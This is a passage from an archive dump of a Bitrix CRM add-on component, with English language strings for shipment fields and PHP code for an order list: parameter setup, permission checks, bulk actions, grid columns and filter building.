#ROW_COUNT#"; ?>components/dellindev/crm.dellin.request/lang/en/.parameters.php000064400000000077151760651320020704 0ustar00<? $MESS["CRM_ORDER_SHIPMENT_COUNT"] = "Shipments per page"; ?>components/dellindev/crm.dellin.request/lang/en/class.php000064400000004224151760651320017566 0ustar00<? $MESS["CRM_SHIPMENT_DELETE_ERROR"] = "Error deleting shipment"; $MESS["CRM_MODULE_NOT_INSTALLED"] = "The CRM module is not installed."; $MESS["CRM_MODULE_NOT_INSTALLED_CURRENCY"] = "The Currency module is not installed."; $MESS["CRM_MODULE_NOT_INSTALLED_SALE"] = "The e-Store module is not installed."; $MESS["CRM_MODULE_NOT_INSTALLED_CATALOG"] = "The Commercial Catalog module is not installed."; $MESS["CRM_PERMISSION_DENIED"] = "Access denied"; $MESS["CRM_COLUMN_ID"] = "ID"; $MESS["CRM_COLUMN_COMMENTS"] = "Sales representative's comment"; $MESS["CRM_COLUMN_STATUS_ID"] = "Status"; $MESS["CRM_COLUMN_DATE_INSERT"] = "Created on"; $MESS["CRM_COLUMN_SHIPMENT_SUMMARY"] = "Shipping Document"; $MESS["CRM_COLUMN_DELIVERY_SERVICE"] = "Delivery service"; $MESS["CRM_COLUMN_PRICE_DELIVERY_CURRENCY"] = "Price"; $MESS["CRM_COLUMN_ALLOW_DELIVERY"] = "Allowed"; $MESS["CRM_COLUMN_DEDUCTED"] = "Shipped"; $MESS["CRM_COLUMN_ORDER_ID"] = "Order ID"; $MESS["CRM_COLUMN_DISCOUNT_PRICE"] = "Discount"; $MESS["CRM_COLUMN_BASE_PRICE_DELIVERY"] = "Base price"; $MESS["CRM_COLUMN_CUSTOM_PRICE_DELIVERY"] = "Custom price"; $MESS["CRM_COLUMN_DATE_ALLOW_DELIVERY"] = "Delivery approved on"; $MESS["CRM_COLUMN_EMP_ALLOW_DELIVERY"] = "Delivery approved by"; $MESS["CRM_COLUMN_DATE_DEDUCTED"] = "Shipped on"; $MESS["CRM_COLUMN_EMP_DEDUCTED"] = "Shipped status changed by"; $MESS["CRM_COLUMN_REASON_UNDO_DEDUCTED"] = "Reason for cancellation of shipment"; $MESS["CRM_COLUMN_DELIVERY_DOC_NUM"] = "Shipment document #"; $MESS["CRM_COLUMN_DELIVERY_DOC_DATE"] = "Shipment document date"; $MESS["CRM_COLUMN_TRACKING_NUMBER"] = "Tracking number"; $MESS["CRM_COLUMN_MARKED"] = "Issue"; $MESS["CRM_COLUMN_DATE_MARKED"] = "Issue occurred on"; $MESS["CRM_COLUMN_EMP_MARKED"] = "Marked as issue by"; $MESS["CRM_COLUMN_REASON_MARKED"] = "Issue description"; $MESS["CRM_COLUMN_CURRENCY"] = "Currency"; $MESS["CRM_COLUMN_RESPONSIBLE"] = "Responsible person"; $MESS["CRM_COLUMN_DATE_RESPONSIBLE_ID"] = "Responsible person changed on"; $MESS["CRM_COLUMN_TRACKING_STATUS"] = "Shipment status"; $MESS["CRM_COLUMN_TRACKING_DESCRIPTION"] = "Shipment status description"; $MESS["CRM_SHIPMENT_SUMMARY"] = "Shipment ##NUMBER# - #DATE#"; ?>components/dellindev/crm.dellin.request/lang/en/.description.php000064400000000301151760651320021052 0ustar00<? $MESS["CRM_ORDER_SHIPMENT_LIST_NAME"] = "Shipments"; $MESS["CRM_ORDER_SHIPMENT_LIST_DESCRIPTION"] = "Shipments"; $MESS["CRM_NAME"] = "CRM"; $MESS["CRM_ORDER_SHIPMENT_NAME"] = "Shipments"; ?>components/dellindev/crm.dellin.request/class.php000064400000313675151760651320016260 0ustar00<?php if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true) die(); define('PUBLIC_MODE', 1); use Bitrix\Main; use Bitrix\Crm\Order; use Bitrix\Crm\Tracking; use Bitrix\Crm\Product\Url; use Bitrix\Main\Localization\Loc; use Bitrix\Crm\Settings\LayoutSettings; use \Bitrix\Main\Grid; use Bitrix\Crm\Agent\Search\OrderSearchContentRebuildAgent; use Bitrix\Iblock\Url\AdminPage\BuilderManager; Loc::loadMessages(__FILE__); class CCrmOrderListComponent extends \CBitrixComponent { protected $userId = 0; protected $userPermissions; protected $errors = array(); protected $isInternal = false; private $exportParams = []; /** @var null|\Bitrix\Iblock\Url\AdminPage\BaseBuilder */ private $urlBuilder = null; public function getEntityTypeId() { return \CCrmOwnerType::Order; } public function prepareParams($arParams) { global $APPLICATION; $arParams['PATH_TO_ORDER_DETAILS'] = CrmCheckPath('PATH_TO_ORDER_DETAILS', $arParams['PATH_TO_ORDER_DETAILS'], $APPLICATION->GetCurPage() . '?order_id=#order_id#&details'); $arParams['PATH_TO_ORDER_SHOW'] = CrmCheckPath('PATH_TO_ORDER_SHOW', $arParams['PATH_TO_ORDER_SHOW'], $APPLICATION->GetCurPage() . '?order_id=#order_id#&show'); $arParams['PATH_TO_ORDER_EDIT'] = CrmCheckPath('PATH_TO_ORDER_EDIT', $arParams['PATH_TO_ORDER_EDIT'], $APPLICATION->GetCurPage() . '?order_id=#order_id#&edit'); $arParams['PATH_TO_QUOTE_EDIT'] = CrmCheckPath('PATH_TO_QUOTE_EDIT', $arParams['PATH_TO_QUOTE_EDIT'], $APPLICATION->GetCurPage() . '?quote_id=#quote_id#&edit'); $arParams['PATH_TO_INVOICE_EDIT'] = CrmCheckPath('PATH_TO_INVOICE_EDIT', $arParams['PATH_TO_INVOICE_EDIT'], $APPLICATION->GetCurPage() . '?invoice_id=#invoice_id#&edit'); $arParams['PATH_TO_COMPANY_SHOW'] = CrmCheckPath('PATH_TO_COMPANY_SHOW', $arParams['PATH_TO_COMPANY_SHOW'], $APPLICATION->GetCurPage() . '?company_id=#company_id#&show'); $arParams['PATH_TO_CONTACT_SHOW'] = CrmCheckPath('PATH_TO_CONTACT_SHOW', $arParams['PATH_TO_CONTACT_SHOW'], $APPLICATION->GetCurPage() . '?contact_id=#contact_id#&show'); $arParams['PATH_TO_USER_PROFILE'] = CrmCheckPath('PATH_TO_USER_PROFILE', $arParams['PATH_TO_USER_PROFILE'], '/company/personal/user/#user_id#/'); $arParams['PATH_TO_BUYER_PROFILE'] = CrmCheckPath('PATH_TO_BUYER_PROFILE', $arParams['PATH_TO_BUYER_PROFILE'], '/shop/settings/sale_buyers_profile/?USER_ID=#user_id#&lang=' . LANGUAGE_ID); $arParams['PATH_TO_USER_BP'] = CrmCheckPath('PATH_TO_USER_BP', $arParams['PATH_TO_USER_BP'], '/company/personal/bizproc/'); $arParams['NAME_TEMPLATE'] = empty($arParams['NAME_TEMPLATE']) ? CSite::GetNameFormat(false) : str_replace(array("#NOBR#", "#/NOBR#"), array("", ""), $arParams["NAME_TEMPLATE"]); if ($this->isExportMode()) { $this->prepareExportParams($arParams); } $arParams['BUILDER_CONTEXT'] = isset($arParams['BUILDER_CONTEXT']) ? $arParams['BUILDER_CONTEXT'] : ''; if ( $arParams['BUILDER_CONTEXT'] != Url\ShopBuilder::TYPE_ID && $arParams['BUILDER_CONTEXT'] != Url\ProductBuilder::TYPE_ID ) { $arParams['BUILDER_CONTEXT'] = Url\ShopBuilder::TYPE_ID; } return $arParams; } private function prepareExportParams($params) { $isStepperExport = (isset($params['STEXPORT_MODE']) && $params['STEXPORT_MODE'] === 'Y'); $isExportAllFields = (isset($params['STEXPORT_INITIAL_OPTIONS']['EXPORT_ALL_FIELDS']) && $params['STEXPORT_INITIAL_OPTIONS']['EXPORT_ALL_FIELDS'] === 'Y'); $this->exportParams['STEXPORT_EXPORT_ALL_FIELDS'] = ($isStepperExport && $isExportAllFields) ? 'Y' : 'N'; $this->exportParams['STEXPORT_MODE'] = $isStepperExport ? 'Y' : 'N'; $this->exportParams['STEXPORT_TOTAL_ITEMS'] = max((int)$params['STEXPORT_TOTAL_ITEMS'], 0); } public function init(): bool { if (!CModule::IncludeModule('crm')) { $this->addError(Loc::getMessage('CRM_MODULE_NOT_INSTALLED')); return false; } if (!CModule::IncludeModule('currency')) { $this->addError(Loc::getMessage('CRM_MODULE_NOT_INSTALLED_CURRENCY')); return false; } if (!CModule::IncludeModule('catalog')) { $this->addError(Loc::getMessage('CRM_MODULE_NOT_INSTALLED_CATALOG')); return false; } if (!CModule::IncludeModule('sale')) { $this->addError(Loc::getMessage('CRM_MODULE_NOT_INSTALLED_SALE')); return false; } $this->userPermissions = CCrmPerms::GetCurrentUserPermissions(); if (!\Bitrix\Crm\Order\Permissions\Order::checkReadPermission(0, $this->userPermissions)) { $this->addError(Loc::getMessage('CRM_PERMISSION_DENIED')); return false; } $this->userId = CCrmSecurityHelper::GetCurrentUserID(); $this->isInternal = !empty($this->arParams['INTERNAL_FILTER']); CUtil::InitJSCore(array('ajax', 'tooltip')); $request = Bitrix\Main\Application::getInstance()->getContext()->getRequest(); if (!empty($this->arParams['EXPORT_TYPE'])) { $exportType = (string)($this->arParams['EXPORT_TYPE']); } elseif ($request->get('type')) { $exportType = $request->get('type'); } if (!empty($exportType)) { $exportType = mb_strtolower(trim($exportType)); switch ($exportType) { case 'csv': case 'excel': $this->exportParams['TYPE'] = $exportType; break; } if ($this->isExportMode() && !\Bitrix\Crm\Order\Permissions\Order::checkExportPermission($this->userPermissions)) { $this->addError(Loc::getMessage('CRM_PERMISSION_DENIED')); return false; } } return true; } protected function initUrlBuilder(): bool { $manager = BuilderManager::getInstance(); $this->urlBuilder = $manager->getBuilder($this->arParams['BUILDER_CONTEXT']); unset($manager); if ($this->urlBuilder === null) { $this->addError(Loc::getMessage('CRM_ERR_URL_BUILDER_ABSENT')); return false; } return true; } private function isExportMode() { return !empty($this->exportParams) && !empty($this->exportParams['TYPE']); } protected function showErrors() { $this->arResult['ERRORS'] = $this->errors; foreach ($this->errors as $error) ShowError($error); } protected function addErrors(array $errors) { $this->errors = array_merge($this->errors, $errors); } protected function addError($error) { $this->errors[] = $error; } protected function addUserInfoSelection($referenceFieldName, $prefix, array &$select, array &$runtime) { $runtime[] = new Main\Entity\ReferenceField('USER_' . $prefix, Main\UserTable::getEntity(), array( '=ref.ID' => 'this.' . $referenceFieldName, ), array('join_type' => 'LEFT') ); foreach (array('LOGIN', 'NAME', 'LAST_NAME', 'SECOND_NAME') as $field) $select[$prefix . '_' . $field] = 'USER_' . $prefix . '.' . $field; } protected function addActivitySelection(array &$select, array &$runtime) { $runtime[] = new Main\Entity\ReferenceField('C_USER_ACTIVITY', \Bitrix\Crm\UserActivityTable::getEntity(), array( '=ref.OWNER_ID' => 'this.ID', '=ref.OWNER_TYPE_ID' => new Main\DB\SqlExpression($this->getEntityTypeId()), '=ref.USER_ID' => new Main\DB\SqlExpression(0) ), array('join_type' => 'LEFT') ); $select['C_ACTIVITY_ID'] = 'C_USER_ACTIVITY.ACTIVITY_ID'; $select['C_ACTIVITY_TIME'] = 'C_USER_ACTIVITY.ACTIVITY_TIME'; $runtime[] = new Main\Entity\ReferenceField('C_ACTIVITY', \Bitrix\Crm\ActivityTable::getEntity(), array( '=ref.ID' => 'this.C_ACTIVITY_ID', ), array('join_type' => 'LEFT') ); $select['C_ACTIVITY_RESP_ID'] = 'C_ACTIVITY.RESPONSIBLE_ID'; $select['C_ACTIVITY_SUBJECT'] = 'C_ACTIVITY.SUBJECT'; $runtime[] = new Main\Entity\ReferenceField('C_USER', Main\UserTable::getEntity(), array( '=ref.ID' => 'this.C_ACTIVITY_RESP_ID', ), array('join_type' => 'LEFT') ); $select['C_ACTIVITY_RESP_LOGIN'] = 'C_USER.LOGIN'; $select['C_ACTIVITY_RESP_NAME'] = 'C_USER.NAME'; $select['C_ACTIVITY_RESP_LAST_NAME'] = 'C_USER.LAST_NAME'; $select['C_ACTIVITY_RESP_SECOND_NAME'] = 'C_USER.SECOND_NAME'; if ($this->userId > 0) { $runtime[] = new Main\Entity\ReferenceField('USER_ACTIVITY', \Bitrix\Crm\UserActivityTable::getEntity(), array( '=ref.OWNER_ID' => 'this.ID', '=ref.OWNER_TYPE_ID' => new Main\DB\SqlExpression($this->getEntityTypeId()), '=ref.USER_ID' => new Main\DB\SqlExpression($this->userId) ), array('join_type' => 'LEFT') ); $select['USER_ACTIVITY_ID'] = 'USER_ACTIVITY.ACTIVITY_ID'; $select['USER_ACTIVITY_TIME'] = 'USER_ACTIVITY.ACTIVITY_TIME'; $runtime[] = new Main\Entity\ReferenceField('ACTIVITY', \Bitrix\Crm\ActivityTable::getEntity(), array( '=ref.ID' => 'this.USER_ACTIVITY_ID', ), array('join_type' => 'LEFT') ); $select['USER_ACTIVITY_SUBJECT'] = 'ACTIVITY.SUBJECT'; } } /** * @param array $runtime */ protected function addOrderDealRuntime(array &$runtime): void { $runtime[] = new Main\ORM\Fields\Relations\Reference('ORDER_DEAL', \Bitrix\Crm\Binding\OrderDealTable::getEntity(), ['=ref.ORDER_ID' => 'this.ID',], ['join_type' => 'LEFT',] ); } protected function addActivityCounterFilter(array &$filter, array &$glFilter, array &$runtime) { if (is_array($filter['ACTIVITY_COUNTER'])) { $counterTypeID = Bitrix\Crm\Counter\EntityCounterType::joinType( array_filter($filter['ACTIVITY_COUNTER'], 'is_numeric') ); } else { $counterTypeID = (int)$filter['ACTIVITY_COUNTER']; } if (Bitrix\Crm\Counter\EntityCounterType::isDefined($counterTypeID)) { $counterUserIDs = array(); if (isset($filter['RESPONSIBLE_ID'])) { if (is_array($filter['RESPONSIBLE_ID'])) { $counterUserIDs = array_filter($filter['RESPONSIBLE_ID'], 'is_numeric'); } elseif ($filter['RESPONSIBLE_ID'] > 0) { $counterUserIDs[] = $filter['RESPONSIBLE_ID']; } } if (empty($counterUserIDs)) { $counterUserIDs[] = $this->userId; } $counter = Bitrix\Crm\Counter\EntityCounterFactory::create( \CCrmOwnerType::Order, $counterTypeID, 0 ); $activityFilterSql = $counter->getEntityListSqlExpression([ 'USER_IDS' => $counterUserIDs ]); if (!empty($activityFilterSql)) { if (isset($glFilter['@ID'])) { $glFilter[] = [ '@ID' => new Bitrix\Main\DB\SqlExpression($activityFilterSql) ]; } else { $glFilter['@ID'] = new Bitrix\Main\DB\SqlExpression($activityFilterSql); } } } } /* *POST & GET actions processing * and LocalRedirect */ protected function requestProcessing($actionData, $filter) { if ($actionData['ACTIVE']) { if ($actionData['METHOD'] == 'POST') { if ($actionData['NAME'] == 'delete') { if ((isset($actionData['ID']) && is_array($actionData['ID'])) || $actionData['ALL_ROWS']) { $arFilterDel = array(); if (!$actionData['ALL_ROWS']) { $arFilterDel = array('ID' => $actionData['ID']); } else { $arFilterDel += $filter; } $res = Bitrix\Crm\Order\Order::getList(array('filter' => $arFilterDel)); while ($order = $res->Fetch()) { if (\Bitrix\Crm\Order\Permissions\Order::checkDeletePermission($order['ID'], $this->userPermissions)) { try { $delRes = Order\Order::delete($order['ID']); } catch (Exception $e) { $delRes = Order\Order::deleteNoDemand($order['ID']); } if (!$delRes->isSuccess()) { $this->addErrors($delRes->getErrorMessages()); } } else { $this->addError(Loc::getMessage('CRM_PERMISSION_DENIED')); } } } } elseif ($actionData['NAME'] == 'edit') { if (isset($actionData['FIELDS']) && is_array($actionData['FIELDS'])) { foreach ($actionData['FIELDS'] as $ID => $arSrcData) { if (!\Bitrix\Crm\Order\Permissions\Order::checkUpdatePermission($ID, $this->userPermissions)) continue; $order = Order\Order::load($ID); if (!$order) continue; $arUpdateData = array(); reset($this->arResult['HEADERS']); foreach ($this->arResult['HEADERS'] as $arHead) if (isset($arHead['editable']) && (is_array($arHead['editable']) || $arHead['editable'] === true) && isset($arSrcData[$arHead['id']])) $arUpdateData[$arHead['id']] = $arSrcData[$arHead['id']]; $res = $order->setFields($arUpdateData); if (!$res->isSuccess()) $this->addErrors($res->getErrorMessages()); } } } elseif ($actionData['NAME'] == 'set_status') { if ($actionData['STATUS_ID'] <> '') { if ((isset($actionData['ID']) && is_array($actionData['ID'])) || $actionData['ALL_ROWS']) { $statFilter = array(); if (!$actionData['ALL_ROWS']) $statFilter = array('ID' => $actionData['ID']); else $statFilter += $filter; $reasonCanceled = isset($actionData['REASON_CANCELED']) ? $actionData['REASON_CANCELED'] : ''; $res = Bitrix\Crm\Order\Order::getList(array('filter' => $statFilter)); while ($order = $res->fetch()) { if (\Bitrix\Crm\Order\Permissions\Order::checkUpdatePermission($order['ID'], $this->userPermissions)) { $setRes = Order\Manager::setOrderStatus($order['ID'], $actionData['STATUS_ID'], $reasonCanceled); if (!$setRes->isSuccess()) { $this->addErrors($setRes->getErrorMessages()); } } } } } } elseif ($actionData['NAME'] == 'assign_to') { if ((int)$actionData['RESPONSIBLE_BY_ID'] > 0) { if ((isset($actionData['ID']) && is_array($actionData['ID'])) || $actionData['ALL_ROWS']) { $statFilter = array(); if (!$actionData['ALL_ROWS']) $statFilter = array('ID' => $actionData['ID']); else $statFilter += $filter; $res = Bitrix\Crm\Order\Order::getList(array('filter' => $statFilter)); while ($orderFields = $res->fetch()) { if (\Bitrix\Crm\Order\Permissions\Order::checkUpdatePermission($orderFields['ID'], $this->userPermissions)) { $order = Order\Order::load($orderFields['ID']); if (!$order) { $this->addError(Loc::getMessage('CRM_ORDER_NOT_LOADED', ['#ID#' => $orderFields['ID']])); continue; } $order->setFieldNoDemand( 'RESPONSIBLE_ID', $actionData['RESPONSIBLE_BY_ID'] ); $order->save(); } } } } } if (!$actionData['AJAX_CALL']) { LocalRedirect($this->arParams['PATH_TO_CURRENT_LIST']); } } else//if ($actionData['METHOD'] == 'GET') { if ($actionData['NAME'] == 'delete' && isset($actionData['ID'])) { $ID = (int)$actionData['ID']; if (\Bitrix\Crm\Order\Permissions\Order::checkDeletePermission($ID, $this->userPermissions)) { $res = Order\Order::delete($ID); if (!$res->isSuccess()) { $this->addErrors($res->getErrorMessages()); } } else { $this->addError(Loc::getMessage('CRM_PERMISSION_DENIED')); } } if (!$actionData['AJAX_CALL']) { if ($this->isInternal) { LocalRedirect('?' . $this->arParams['FORM_ID'] . '_active_tab=tab_order'); } else { LocalRedirect($this->arParams['PATH_TO_CURRENT_LIST']); } } } } } protected function getHeaders() { $result = array( array('id' => 'ORDER_SUMMARY', 'name' => Loc::getMessage('CRM_COLUMN_ORDER_SUMMARY'), 'sort' => 'ID', 'width' => 300, 'default' => true, 'editable' => false), array('id' => 'DATE_INSERT', 'name' => Loc::getMessage('CRM_COLUMN_DATE_INSERT'), 'default' => true, 'sort' => 'DATE_INSERT', 'editable' => false, 'type' => 'date', 'class' => 'date'), array('id' => 'STATUS_ID', 'name' => Loc::getMessage('CRM_COLUMN_STATUS_ID'), 'sort' => 'STATUS_ID', 'default' => true), array('id' => 'SUM', 'name' => Loc::getMessage('CRM_COLUMN_SUM'), 'sort' => 'PRICE', 'default' => true, 'editable' => false, 'align' => 'right'), array('id' => 'RESPONSIBLE_BY', 'name' => Loc::getMessage('CRM_COLUMN_RESPONSIBLE_BY'), 'default' => true, 'sort' => 'RESPONSIBLE_ID', 'editable' => false), array('id' => 'PAYED', 'name' => Loc::getMessage('CRM_COLUMN_PAYED'), 'sort' => 'PAYED', 'editable' => false, 'default' => true) ); // Dont display activities in INTERNAL mode. if (!$this->isInternal) { $result[] = array( 'id' => 'ACTIVITY_ID', 'name' => Loc::getMessage('CRM_COLUMN_ACTIVITY'), 'sort' => false, //'nearest_activity', 'default' => true, 'prevent_default' => false ); } $result = array_merge( $result, array( array('id' => 'SOURCE', 'name' => Loc::getMessage('CRM_COLUMN_SOURCE'), 'default' => true, 'editable' => false), array('id' => 'USER', 'name' => Loc::getMessage('CRM_COLUMN_USER_ID'), 'sort' => 'USER_ID', 'editable' => false, 'default' => true), array('id' => 'ID', 'name' => Loc::getMessage('CRM_COLUMN_ID'), 'sort' => 'ID', 'editable' => false, 'type' => 'int'), array('id' => 'PERSON_TYPE_ID', 'name' => Loc::getMessage('CRM_COLUMN_PERSON_TYPE_ID'), 'sort' => 'PERSON_TYPE_ID', 'default' => false, 'editable' => false, 'class' => 'username'), array('id' => 'DATE_PAYED', 'name' => Loc::getMessage('CRM_COLUMN_DATE_PAYED'), 'sort' => 'DATE_PAYED', 'editable' => false, 'type' => 'date', 'class' => 'date'), array('id' => 'EMP_PAYED_ID', 'name' => Loc::getMessage('CRM_COLUMN_EMP_PAYED_ID'), 'sort' => 'EMP_PAYED_ID', 'editable' => false), array('id' => 'CANCELED', 'name' => Loc::getMessage('CRM_COLUMN_CANCELED'), 'sort' => 'CANCELED', 'editable' => false), array('id' => 'DATE_CANCELED', 'name' => Loc::getMessage('CRM_COLUMN_DATE_CANCELED'), 'sort' => 'DATE_CANCELED', 'editable' => false, 'type' => 'date', 'class' => 'date'), array('id' => 'EMP_CANCELED_ID', 'name' => Loc::getMessage('CRM_COLUMN_EMP_CANCELED_ID'), 'sort' => 'EMP_CANCELED_ID', 'editable' => false), array('id' => 'REASON_CANCELED', 'name' => Loc::getMessage('CRM_COLUMN_REASON_CANCELED'), 'sort' => 'REASON_CANCELED', 'editable' => false), array('id' => 'DATE_STATUS', 'name' => Loc::getMessage('CRM_COLUMN_DATE_STATUS'), 'sort' => 'DATE_STATUS', 'editable' => false, 'type' => 'date', 'class' => 'date'), array('id' => 'EMP_STATUS_ID', 'name' => Loc::getMessage('CRM_COLUMN_EMP_STATUS_ID'), 'sort' => 'EMP_STATUS_ID'), array('id' => 'PRICE_DELIVERY', 'name' => Loc::getMessage('CRM_COLUMN_PRICE_DELIVERY'), 'sort' => 'PRICE_DELIVERY', 'editable' => false), array('id' => 'ALLOW_DELIVERY', 'name' => Loc::getMessage('CRM_COLUMN_ALLOW_DELIVERY'), 'sort' => 'ALLOW_DELIVERY', 'default' => false, 'editable' => false), array('id' => 'DATE_ALLOW_DELIVERY', 'name' => Loc::getMessage('CRM_COLUMN_DATE_ALLOW_DELIVERY'), 'sort' => false, 'editable' => false, 'type' => 'date', 'class' => 'date'), array('id' => 'EMP_ALLOW_DELIVERY_ID', 'name' => Loc::getMessage('CRM_COLUMN_EMP_ALLOW_DELIVERY'), 'sort' => 'EMP_ALLOW_DELIVERY_ID', 'default' => false), array('id' => 'DEDUCTED', 'name' => Loc::getMessage('CRM_COLUMN_DEDUCTED'), 'sort' => 'DEDUCTED', 'editable' => false), array('id' => 'DATE_DEDUCTED', 'name' => Loc::getMessage('CRM_COLUMN_DATE_DEDUCTED'), 'sort' => false, 'editable' => false), array('id' => 'EMP_DEDUCTED_ID', 'name' => Loc::getMessage('CRM_COLUMN_EMP_DEDUCTED_ID'), 'sort' => false), array('id' => 'MARKED', 'name' => Loc::getMessage('CRM_COLUMN_MARKED'), 'sort' => 'MARKED', 'editable' => false), array('id' => 'RESERVED', 'name' => Loc::getMessage('CRM_COLUMN_RESERVED'), 'sort' => 'RESERVED', 'editable' => false), array('id' => 'CURRENCY', 'name' => Loc::getMessage('CRM_COLUMN_CURRENCY'), 'sort' => 'CURRENCY', 'editable' => false), array('id' => 'DISCOUNT_VALUE', 'name' => Loc::getMessage('CRM_COLUMN_DISCOUNT_VALUE'), 'sort' => false, 'editable' => false), array('id' => 'DATE_UPDATE', 'name' => Loc::getMessage('CRM_COLUMN_DATE_UPDATE'), 'sort' => 'DATE_UPDATE', 'editable' => false, 'type' => 'date', 'class' => 'date'), array('id' => 'COMMENTS', 'name' => Loc::getMessage('CRM_COLUMN_COMMENTS'), 'sort' => 'COMMENTS', 'editable' => false), array('id' => 'TAX_VALUE', 'name' => Loc::getMessage('CRM_COLUMN_TAX_VALUE'), 'sort' => 'TAX_VALUE', 'editable' => false), array('id' => 'SUM_PAID', 'name' => Loc::getMessage('CRM_COLUMN_SUM_PAID'), 'sort' => 'SUM_PAID', 'editable' => false), array('id' => 'CREATED_BY', 'name' => Loc::getMessage('CRM_COLUMN_CREATED_BY'), 'sort' => 'CREATED_BY', 'editable' => false), array('id' => 'ACCOUNT_NUMBER', 'name' => Loc::getMessage('CRM_COLUMN_ACCOUNT_NUMBER'), 'sort' => 'ACCOUNT_NUMBER', 'editable' => false), array('id' => 'ORDER_TOPIC', 'name' => Loc::getMessage('CRM_COLUMN_ORDER_TOPIC2'), 'sort' => 'order_topic', 'default' => false, 'editable' => false), array('id' => 'BASKET', 'name' => Loc::getMessage('CRM_COLUMN_ORDER_BASKET'), 'default' => false, 'editable' => false), array('id' => 'SHIPMENT', 'name' => Loc::getMessage('CRM_COLUMN_ORDER_SHIPMENT'), 'default' => false, 'editable' => false), array('id' => 'PAYMENT', 'name' => Loc::getMessage('CRM_COLUMN_ORDER_PAYMENT'), 'default' => false, 'editable' => false), array('id' => 'PROPS', 'name' => Loc::getMessage('CRM_COLUMN_ORDER_PROPS'), 'default' => false, 'editable' => false), array('id' => 'CLIENT', 'name' => Loc::getMessage('CRM_COLUMN_ORDER_CLIENT'), 'default' => false, 'editable' => false), array('id' => 'COMPANY', 'name' => Loc::getMessage('CRM_COLUMN_ORDER_COMPANY'), 'default' => false, 'editable' => false), array('id' => 'CONTACT', 'name' => Loc::getMessage('CRM_COLUMN_ORDER_CONTACT'), 'default' => false, 'editable' => false), ) ); Tracking\UI\Grid::appendColumns($result); return $result; } protected function createFilter() { $filter = array(); if ($this->isInternal) { if (is_array($this->arParams['INTERNAL_FILTER'])) { $filter = $this->arParams['INTERNAL_FILTER']; } } else { $request = Bitrix\Main\Application::getInstance()->getContext()->getRequest(); if ($request->getQuery('from_analytics') === 'Y') { $boardId = $request->getQuery('board_id'); $this->arResult['GRID_ID'] = 'report_' . $boardId . '_filter'; $this->arResult['FILTER_PRESETS'] = []; $this->arResult['IS_EXTERNAL_FILTER'] = true; } $entityFilter = \Bitrix\Crm\Filter\Factory::createEntityFilter( new \Bitrix\Crm\Filter\OrderSettings( array('ID' => $this->arResult['GRID_ID']) ) ); $filterFields = $entityFilter->getFieldArrays(); $filterOptions = new \Bitrix\Main\UI\Filter\Options($this->arResult['GRID_ID'], $this->arResult['FILTER_PRESETS']); $filter += $filterOptions->getFilter($filterFields); $effectiveFilterFieldIDs = $filterOptions->getUsedFields(); if (empty($effectiveFilterFieldIDs)) { $effectiveFilterFieldIDs = $entityFilter->getDefaultFieldIDs(); } if (!in_array('ACTIVITY_COUNTER', $effectiveFilterFieldIDs, true)) { $effectiveFilterFieldIDs[] = 'ACTIVITY_COUNTER'; } Tracking\UI\Filter::appendEffectiveFields($effectiveFilterFieldIDs); foreach ($effectiveFilterFieldIDs as $filterFieldID) { $filterField = $entityFilter->getField($filterFieldID); if ($filterField) { $this->arResult['FILTER'][] = $filterField->toArray(); } } } return $filter; } public function createGlFilter(array $filter, array &$runtime) { global $USER, $USER_FIELD_MANAGER; $result = array(); $orderFields = array_flip(\Bitrix\Crm\Order\Order::getAllFields()); $contactIds = []; $companyId = null; $filter = $this->formatUIFilter($filter); $searchRestriction = \Bitrix\Crm\Restriction\RestrictionManager::getSearchLimitRestriction(); if (!$searchRestriction->isExceeded(CCrmOwnerType::Order)) { Bitrix\Crm\Search\SearchEnvironment::convertEntityFilterValues(CCrmOwnerType::Order, $filter); if (isset($filter['SEARCH_CONTENT'])) { $searchValue = $filter['SEARCH_CONTENT']; unset($filter['SEARCH_CONTENT']); if (is_string($searchValue)) { $filter = array_merge($filter, $this->prepareSearchFilterValue($searchValue)); } } } else { $this->arResult['LIVE_SEARCH_LIMIT_INFO'] = $searchRestriction->prepareStubInfo( array('ENTITY_TYPE_ID' => CCrmOwnerType::Order) ); } $userType = new CCrmUserType($USER_FIELD_MANAGER, Order\Order::getUfId()); $orderUserFields = $userType->GetFields(); $propertyItterator = 0; foreach ($filter as $k => $v) { $name = preg_replace('/^\W+/', '', $k); if ($name === 'COMPANY_ID') { $companyId = $v; } elseif ($name === 'ASSOCIATED_CONTACT_ID') { if (!is_array($v)) { $contactIds = [$v]; } else { $contactIds = $v; } } elseif ($name === 'SOURCE_ID') { $result['TRADING_PLATFORM.TRADING_PLATFORM_ID'] = $v; } elseif ($name === 'PAY_SYSTEM') { $result['PAYMENT.PAY_SYSTEM_ID'] = $v; } elseif ($name === 'DELIVERY_SERVICE') { $result['SHIPMENT.DELIVERY_ID'] = $v; $result['SHIPMENT.SYSTEM'] = 'N'; } elseif ($name === 'ASSOCIATED_DEAL_ID') { $result['=ORDER_DEAL.DEAL_ID'] = $v; $this->addOrderDealRuntime($runtime); } elseif ($name === 'HAS_ASSOCIATED_DEAL') { $key = sprintf( '%s=ORDER_DEAL.ORDER_ID', ($v === 'Y') ? '!' : '' ); $result[$key] = null; $this->addOrderDealRuntime($runtime); } elseif ($name === 'COUPON') { $result['=ORDER_COUPONS.COUPON'] = $v; } elseif ($name === 'XML_ID') { $result['%XML_ID'] = $v; } elseif ($name === 'SHIPMENT_TRACKING_NUMBER') { $result['%SHIPMENT.TRACKING_NUMBER'] = $v; } elseif ($name === 'SHIPMENT_DELIVERY_DOC_DATE') { $docDateName = str_replace('SHIPMENT_DELIVERY_DOC_DATE', 'SHIPMENT.DELIVERY_DOC_DATE', $k); $result[$docDateName] = $v; } elseif ($name === 'CHECK_PRINTED') { if ($v === 'Y') { $result['ORDER_CHECK_PRINTED.STATUS'] = 'Y'; } else { $result[] = [ 'LOGIC' => 'OR', '=ORDER_CHECK_PRINTED.STATUS' => null, '@ORDER_CHECK_PRINTED.STATUS' => ['N', 'P', 'E'] ]; } $runtime[] = new Main\ORM\Fields\Relations\Reference( 'ORDER_CHECK_PRINTED', \Bitrix\Sale\Cashbox\Internals\CashboxCheckTable::getEntity(), ['=ref.ORDER_ID' => 'this.ID',], ['join_type' => 'LEFT',] ); } elseif ($name === 'USER') { $buyerFilter = Main\UserUtils::getAdminSearchFilter([ 'FIND' => $v ]); foreach ($buyerFilter as $key => $userFilterItem) { $key = str_replace('INDEX', 'USER.INDEX', $key); $result[$key] = $userFilterItem; } } if (preg_match("/^PROPERTY_/", $name)) { $propertyId = (int)str_replace('PROPERTY_', '', $name); if ("PROPERTY_{$propertyId}" !== $name) { continue; 